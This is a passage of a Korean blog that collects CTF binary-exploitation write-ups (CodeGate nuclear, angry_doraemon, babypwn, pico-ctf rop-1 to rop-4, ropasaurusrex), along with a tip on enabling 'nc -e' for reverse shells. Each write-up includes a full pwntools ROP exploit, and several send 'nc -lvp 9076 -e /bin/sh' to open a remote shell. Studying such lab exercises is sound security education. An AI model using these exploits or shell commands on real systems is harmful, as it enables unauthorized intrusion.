바이너리는 NX와 ASLR이 설정되어 있다.

바이너리를 열어서 main을 보면 소켓통신을 하는것을 알 수 있다.

실행을 시키면 1129번 포트로 소켓을 연다.


그리고 소켓으로 통신을 하려고 하면 에러가 뜬다.

그래서 다른 함수들을 살펴봤다.

sub_8048C65에서 내가 뜨는 에러와 동일한 string을 찾았다.

THIS_IS_NOT_KEY_JUST_PASSCODE 이라는 파일을 open()하지 못해서 뜨는 에러였다.

이게 실제 문제서버에선 읽을 권한이 없어서 메모리릭을 통해서 값을 읽어야 하는 부분이였다.  (사실 첨에 풀때는 내가 임의로 만들어 줘야 되는건줄 앎..)


이제 해당 파일을 만들었으므로 nuclear 바이너리를 실행할 수 있다.


이렇게 뜬다.

뭔가를 입력해야하는것같은데 아무거나 입력하면..


이렇게 커맨드를 알 수 없다고 나온다.


ida로 명령어를 찾아야 겠다.

sub_8048C65를 자세히 보면 명령어를 알 수 있다.


quit, target, launch 이렇게 세 명령어가 있다.


각 명령어에서 뭔가 취약점이 터질거같으니 각각 살펴봤다.

launch를 실행하면 passcode를 입력하라고 한다.

THIS_IS_NOT_KEY_JUST_PASSCODE에 passcode가 적혀있는데 실제 문제에선 권한이 없어서 사용자가 정상적인 방법으로는 읽을 수 가 없다.

그래서 이 부분을 메모리 릭을 통해서 알아내야하는 것 같다.


launch 는 버퍼보다 작은 사이즈를 읽기 때문에 오버플로우가 터지진 않는다.


다음은 target이다.


타겟을 보면 sscanf()로 위도와 경도를 입력받는다.


여기까지 딱히 취약점이 보이지 않는다.

그래서 찾은 부분은 명령어로 지정된 문자열 외의 문자열을 입력했을 때 어떻게 처리하는지 확인해봤다.


보면  ebp-568에 들어간 값을 출력함수로 출력해준다. 

그리고 launch의 passcode를 비교하는 부분을 다시 보면 패스코드를 읽어오는 변수의 위치를 알 수가 있다.


ebp-48에 passcode가 들어가는 것을 알 수 있다.

즉 ebp-568엔 내가 입력한 명령어 혹은 내가 입력한 passcode가 들어갈 것이고 ebp-0x48에는 문제의 passcode가 있을 것이다.

즉 ebp-568부터 ebp-48까지 null이 없이 쭉 이어진다면 passcode를 릭 할 수 있다.

근데 내가 입력할 수 있는 바이트는 512바이트가 전부다. ($ebp-48) - ($ebp-568) 의 거리는 520바이트인데.. 난 512바이트까지 입력할 수 있다. 릭이 불가능할 줄 알았는데 gdb로 직접 값을 넣어서 테스트 했다.


일단 테스트겸 A 500바이트를 넣은 것이다.

보면 0xbffff410에는 어떠한 값 8바이트 들어가 있고, 그 다음에 passcode로 보이는 문자열이 있다.

즉 512바이트까지 채워서 넣으면 passcode까지 릭이 가능하단 의미이다.


그 다음으론 passcode를 찾았으니 passcode를 입력하면 nuclear가 발사된다.

passcode가 맞다고 하는 부분이다. 여기를 잘 보면 pthread_create()함수가 실행되는데 그 함수의 인자로 들어가는 부분에서 esp+0x8에 들어가는 값을 보면 0x08048b9c를 실행하는 thread 함수이다. 0x08048b9c를 봐야겠다.


0x08048b9c 함수다.

이 함수 내부에서도 pthread_create를 call한다.

이번에도 esp+0x8에 들어가는 함수를 따라 가본다.


찾았다...


ebp-524 부터 1298바이트를 입력받는 부분을 찾았다.

핵이 발사되고 나서 그 때 값을 보내주면 이 부분을 공략할 수 있다.

먼저 가젯을 구한 후 rop로 문제를 풀었다.


이 문제에선 recv, send 함수가 사용 중이여서 이 함수들로 got leak과 system함수 찾기, got overwrite를 할 수 있었다.

익스 코드를 작성하고 익스플로잇을 했다.



exploit code

from pwn import *

r = remote("localhost", 1129)
elf = ELF("./nuclear")
print r.recvuntil(">")

r.sendline("target")

print r.recvuntil("--->")

r.sendline("123.123/123.123")

print r.recvuntil(">")

r.sendline("A"*512)
print r.recvuntil("[!] Unknown command : ")
r.recv(512)
passcode = r.recv()[8:22]
log.info("passcode = {}".format(passcode))
r.close()

recv_plt = elf.plt['recv']
recv_got = elf.got['recv']
send_plt = elf.plt['send']
send_got = elf.got['send']
bss = elf.bss() 
ppppr = 0x804917c
system_offset = 0x18a5a0 # recv - system

log.info("recv@plt = {0}\nsend@plt = {1}\nsend@got = {2}".format(hex(recv_plt), hex(send_plt), hex(send_got)))

r = remote("localhost", 1129)

cmd = "nc -lvp 9076 -e /bin/sh\x00"

payload = "A"*528
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(cmd)+1)
payload += p32(0)

payload += p32(send_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got) 
payload += p32(4)
payload += p32(0)

payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(recv_got)
payload += p32(4)
payload += p32(0)

payload += p32(recv_plt)
payload += "AAAA" 
payload += p32(bss)

print r.recvuntil(">")

r.sendline("launch")
print r.recvuntil("nuclear :")

r.sendline(passcode)
print r.recvuntil("COUNT DOWN : 100")

r.sendline(payload)
r.sendline(cmd)

libc_recv = u32(r.recv())

log.info("libc_recv = {}".format(hex(libc_recv)))
system_addr = libc_recv - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
r.sendline(p32(system_addr))


'CTF' 카테고리의 다른 글

Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17

보호기법은 스택카나리와 NX가 걸려있다.

이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.


실행을 하면 메뉴가 나온다.


근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.

그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.

그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.


그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.

각 메뉴에 대해 취약점이 존재하는지 확인해보았다.

4번 메뉴에서 취약점이 나온다.

4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.

즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.


해당 함수의 변수를 보면 

ebp-0x20

ebp-0x1c

ebp-0x16

ebp-0x12

ebp-0xe

ebp-oxc

ebp-0x8까지 있다.


즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.

이제 카나리 값을 알아야 하는데.

ebp-0x16에서 카나리를 릭해줘야 한다.

처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.

그래서 9개를 넣어보았다.

하지만 9개도 카나리가 나오지 않았다.

즉 카나리의 첫바이트는 널바이트라는 것이다.

그래서 10개를 넣으니 카나리가 릭됐다.


카나리는 이렇게 릭을 해주면 되고..


처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.

처음에 짠 exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	binsh = 0x804970d
	bss = 0x804b080
	execl_plt = 0x8048710
	pppr = 0x8048b2c

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	payload += p32(execl_plt)
	payload += p32(pppr)
	payload += p32(binsh)
	payload += p32(binsh)
	payload += p32(0)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


위 방법은 attacker입장에선 무의미하다.

그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.

libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)



exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	read_plt = 0x8048620
	read_got = 0x804b010
	write_plt = 0x80486e0
	write_got = 0x804b040
	binsh = 0x804970d
	bss = 0x804b080
	system_offset = 0x9add0 # write - system
	pppr = 0x8048b2c
	#cmd = "/bin/sh -i <&4 >&4 2>&4\x00"
	#cmd = "ls -l | nc localhost 9076\x00"
	cmd = "nc -lvp 9076 -e /bin/sh\x00"

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	
	payload += p32(write_plt)
	payload += "JUNK"
	payload += p32(4)
	payload += p32(write_got)
	payload += p32(4)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	print len(p.recv())
	libc_write = u32(p.recv())
	log.info("libc_write = {}".format(hex(libc_write)))
	system_addr = libc_write - system_offset
	log.info("system_addr = {}".format(hex(system_addr)))	

	p.close()

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12

	payload += p32(read_plt)
	payload += p32(pppr)
	payload += p32(4)
	payload += p32(bss)
	payload += p32(len(cmd))
	
	payload += p32(system_addr)
	payload += "JUNK"
	payload += p32(bss)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)
	print p.recv()
	p.sendline(cmd)
	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


'CTF' 카테고리의 다른 글

CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14

실행중인 프로세스의 pid 확인

pid = 7915


proc에서 해당 pid의 fd 확인

ls -l /proc/[pid]/fd


Ref.http://mintnlatte.tistory.com/377

'OS > linux' 카테고리의 다른 글

linux include 파일 찾기  (0) 2020.07.02
/proc/self/cwd  (0) 2019.05.09
리눅스 넘버링?  (0) 2018.03.27
리눅스 세션 연결 시 history 자동 삭제하기  (0) 2018.03.20
vim 화면 스크롤  (0) 2018.02.15

nc를 통해 리버스쉘을 연결하려고 하는데 사진처럼 -e 옵션이 유효하지 않다고 할 때 해결법이다.


검색을 해보니 이 상황은 -e 옵션이 비활성화되어 설치됐기 때문에 Attacker에 리버스연결을 할 수 없는 거라고 한다. (실제 시스템에선 비활성화 돼있으면 못하겠네..?)

$ sudo apt-get install netcat-traditional
$ sudo update-alternatives --config nc

netcat-traditional을 설치하고

traditional을 선택해주면 된다.


'HACKING > System hacking' 카테고리의 다른 글

python의 pickle 모듈 취약점  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
gdb-peda 기능들  (0) 2018.07.08
Shell Escaping tips  (0) 2018.06.23
ROP를 익히기 좋은 문제들  (0) 2018.05.18

우선 바이너리는 32비트에서 실행가능한 바이너리다.


바이러리를 실행하면 bind 에러가 뜬다.

소켓통신으로 이 바이너리를 실행하고 있어서 그렇다.


보호기법을 확인해보면 nx와 카나리가 적용되어있다.


이제 ida로 main함수를 보면 main함수의 argv에 인자로 포트넘버가 들어갔으면 그 인자로 포트를 개방하고 만약 디폴트로 실행을 하면 8181포트로 소켓을 열겠다는 거다.


즉 문제와는 관련이 없다.


일단 문제를 풀려면 한개 터미널에선 바이너리를 실행해주고, 다른 한개에서는 nc로 8181포트로 붙으면 된다.

1,2,3번 메뉴가 있고 어느정도 입력이 없으면 타임아웃으로 바이너리가 종료된다.


우선 1번을 입력하면 내가 입력한 값을 echo해준다.

2번은 입력한 값을 reverse해서 echo해준다.

3번은 바이너리를 종료한다.


여기서 취약점이 있는 부분을 찾아야 한다.

사용자가 값을 입력하는 부분에 취약점이 존재할 것이다..(대부분 그렇겠지?)

gdb로는 심볼이 없어서 메인도 그렇고 함수들을 찾을 수 가 없다..
그래서 ida로 찾아보면 위 메뉴를 출력해주는 함수를 찾을 수 있다.

sub_8048A71()함수가 그 함수다.

좀 더 살펴보자.

아까 1번과 2번을 입력했을 때 사용자 입력을 받는 함수에 넣는 인자 부분을 보면 된다.


즉 버퍼의 크기는 52인데 100만큼을 사용자에게 입력받는 구조다. 따라서 오버플로우가 터진다.

52바이트만큼 오버플로우하면 sfp와 ret가 있을테니 덮으면 끝이 나겠다고  생각했으나 카나리가 있으므로 

카나리를 알아내서 똑같이 입력해줘야한다..

어떻게 찾지...


맨 위에 변수 크기가 초기화될 때 var_34가 사용자가 입력하는 값이 들어가는 변수고,  var_C가 카나리가 들어가는 자리의 크기다.


즉  1번메뉴를 통해서 더미를 40바이트 입력하면 카나리를 릭해서 같이 출력될 것이다.

그래서 버퍼의 크기를 가지고 처리하는 함수를 보니 그 함수안에서 recv()함수로 입력을 받는다.

recv()함수는 사용자입력 끝에 null byte를 붙이지 않는다. 따라서 그냥 40바이트를 꽉채워서 입력하면 카나리와 붙어서 한 변수로 인식을 할 것이다.

40바이트를 채워주면 된다. (근데 실제 테스트해보면 40바이트를 주면 값이 제대로 나오지 않는다. 왜나면 카나리의 첫바이트가 null바이트이기 때문이다. 그래서 일단 null이 아닌 임의의 값을 한개 더 추가해서 나머지 카나리 값을 릭해야한다.)


그리고 system@plt가 바이너리에 있으므로 rop가젯을 모아서 익스를 하면 된다.



exploit code
from pwn import *

elf = ELF("./babypwn")
system_plt = elf.plt['system']
recv_plt = elf.plt['recv']
ppppr = 0x8048eec 
bss = elf.bss() 
binsh = "/bin/sh <&4 >&4 2>&4"

log.info("system@plt = {}".format(hex(system_plt)))
log.info("recv@plt = {}".format(hex(recv_plt)))

dummy = "A"*41

r = remote("localhost", 8181) 
print r.recvuntil(">")
r.sendline("1")

print r.recvuntil(":")

r.send(dummy)

r.recvuntil(dummy)

canary = u32("\x00"+r.recv())
log.info("canary = {}".format(hex(canary)))

print r.recvuntil(">")
r.sendline("1")
print r.recvuntil(":")

payload = "A"*40
payload += p32(canary)
payload += "A"*12
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(binsh))
payload += p32(0)
payload += p32(system_plt)
payload += "BBBB"
payload += p32(bss)

r.sendline(payload)
print r.recvuntil(">")
r.sendline("3")

r.sendline(binsh)

r.interactive()


'CTF' 카테고리의 다른 글

CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14

ldd로 보면 동적실행 파일이 아니라고 한다.

즉 정적 컴파일된 바이너리라는 뜻이다.


문제 푸는데 오히려 더 쉬운 것 같다.


내부에 필요한 함수들이 전부 같이 컴파일이 되어있어서 안에 있는 함수 주소를 사용하면 됐다.


이전 문제들 처럼 취약한 함수가 있다.

똑같이 vulnerable_function()이 존재한다.

이 함수도 이전과 마찬가지로 사이즈는 0x88인데 0x200까지를 read할 수 있는 취약점이다.


여기서 ret를 조작하면 된다.

근데 이 문제는 정적 컴파일이기 때문에 plt와 got를 따로 구하지 않아도 내부에 있는 주소를 이용하면 된다.


필요한 가젯은 read()로 exec_string_addr이란 변수에 "/bin/sh" 문자열을 읽어들이고, execve함수로 해당 쉘 명령을 실행시키면 쉘을 얻을 수 있다.




exploit code
from pwn import *

p = process("./rop4")

libc_read = 0x08053d20
pppr = 0x804859c
pr = 0x80481ec
exec_string_addr = 0x80f112c
binsh = "/bin/sh"
execve = 0x80ad110

payload = "A"*140 
payload += p32(libc_read)
payload += p32(pppr)
payload += p32(0)
payload += p32(exec_string_addr)
payload += p32(len(binsh))
payload += p32(execve)
payload += p32(pppr)
payload += p32(exec_string_addr)
payload += p32(0)
payload += p32(0)

p.sendline(payload)
p.sendline(binsh)
p.interactive()


'CTF' 카테고리의 다른 글

CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14

rop1,2와 동일하게 품


exploit code

from pwn import *
 
p = process('./rop3-7f3312fe43c46d26')
 
read_plt = 0x8048360
read_got = 0x804a000
write_plt = 0x80483a0
write_got = 0x804a010
bss = 0x804a020
system_offset = 0x9ad60 
pppr = 0x804855d
pr = 0x8048344
binsh = "/bin/sh"
 
payload = "A"*140 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
 
payload += p32(write_plt)
payload += p32(pr) 
payload += p32(bss)
 
log.info("Exploit..")
p.sendline(payload)
 
read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
 
p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()

'CTF' 카테고리의 다른 글

CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14

rop-1과 동일하다.


exploit code

from pwn import *
 
p = process('./rop2-20f65dd0bcbe267d')
 
read_plt = 0x8048380
read_got = 0x804a000
write_plt = 0x80483d0
write_got = 0x804a014
bss = 0x804a028
system_offset = 0x9ad60
pppr = 0x804859d
pr = 0x8048364
binsh = "/bin/sh"
 
payload = "A"*140
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
 
payload += p32(write_plt)
payload += p32(pr)
payload += p32(bss)
 
log.info("Exploit..")
p.sendline(payload)
 
read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
 
p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()


'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14
Defcon 2015 r0pbaby  (0) 2018.07.13

1. write, read 함수사용

2. read()에서 bof 발생하여 rop로 해결


exploit code

from pwn import *

read_plt = 0x8048380
read_got = 0x804a000
write_plt = 0x80483d0
write_got = 0x804a014
bss = 0x804a024
system_offset = 0x9ad60 
pppr = 0x804859d
pr = 0x8048364
binsh = "/bin/sh"

p = process("./rop1-fa6168f4d8eba0eb")

payload = "A"*140 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += p32(pr) 
payload += p32(bss)

log.info("Exploit..!")
p.sendline(payload)

read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))

p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()



'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14
Defcon 2015 r0pbaby  (0) 2018.07.13

ropasaurusrex

문제 바이너리 첨부


이 문제는 32bit elf다.


보호기법을 살펴보았다.

ASLR이 걸려있고 NX가 걸려있다.


우선 이 바이너리를 실행하면 아래와 같다.

단순히 입력하나 받고 WIN이라는 문자열을 출력하고 종료된다.

아마 입력하는 부분에서 오버플로가 일어날 것이다.


우선 gdb로 열어보았다.

근데 디버깅 심볼을 찾을 수 없어서 main함수가 열리지 않았다.

그래서 info func로 함수를 찾았다.


write와 read함수가 있다.

rop를 하면 될 것 같다.


write()함수와 read()함수에 bp를 걸고 트레이싱을 했다.


구조를 보니 먼저 read()함수를 실행하고 나중에 write()함수를 실행한다.

write@got를 rop를 통해 overwrite 해주면 될 것이다.

read()함수에 대해 입력 값으로 A 8개를 주었다.



그리고 read()함수를 빠져 나온 후 바로 leave 과정에서 bp를 걸고 멈추었다.

ret까지 0x8c차이가 난다. 즉 140바이트를 오버플로우 해주면 sfp까지 덮힌다는 것이다.

이제 가젯을 모으자.


read@plt, 

read@got, 

write@plt, 

write@got, 

bss주소, 

system의 offset, 

pop pop pop ret 가젯, 

pop ret 가젯

을 찾았다.


bss 영역의 주소는 objdump, readelf를 사용하지 않고 peda의 elfheader명령을 통해 찾았고,

pop pop 가젯은 이번엔 rp++로 찾지 않고 peda의 내장 명령어인 ropgadget으로 찾았다.


exploit code

from pwn import *

p = process('./ropasaurusrex')

read_plt = 0x0804832c
read_got = 0x804961c
write_plt = 0x0804830c
write_got = 0x8049614
bss = 0x8049628
system_offset = 0x9ad60 
pppr = 0x80484b6
pr = 0x80483c3
binsh = "/bin/sh\x00"

payload = "A"*140 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += p32(pr) 
payload += p32(bss)

log.info("Exploit..")
p.sendline(payload)

read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))

p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()


'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
Defcon 2015 r0pbaby  (0) 2018.07.13

+ Recent posts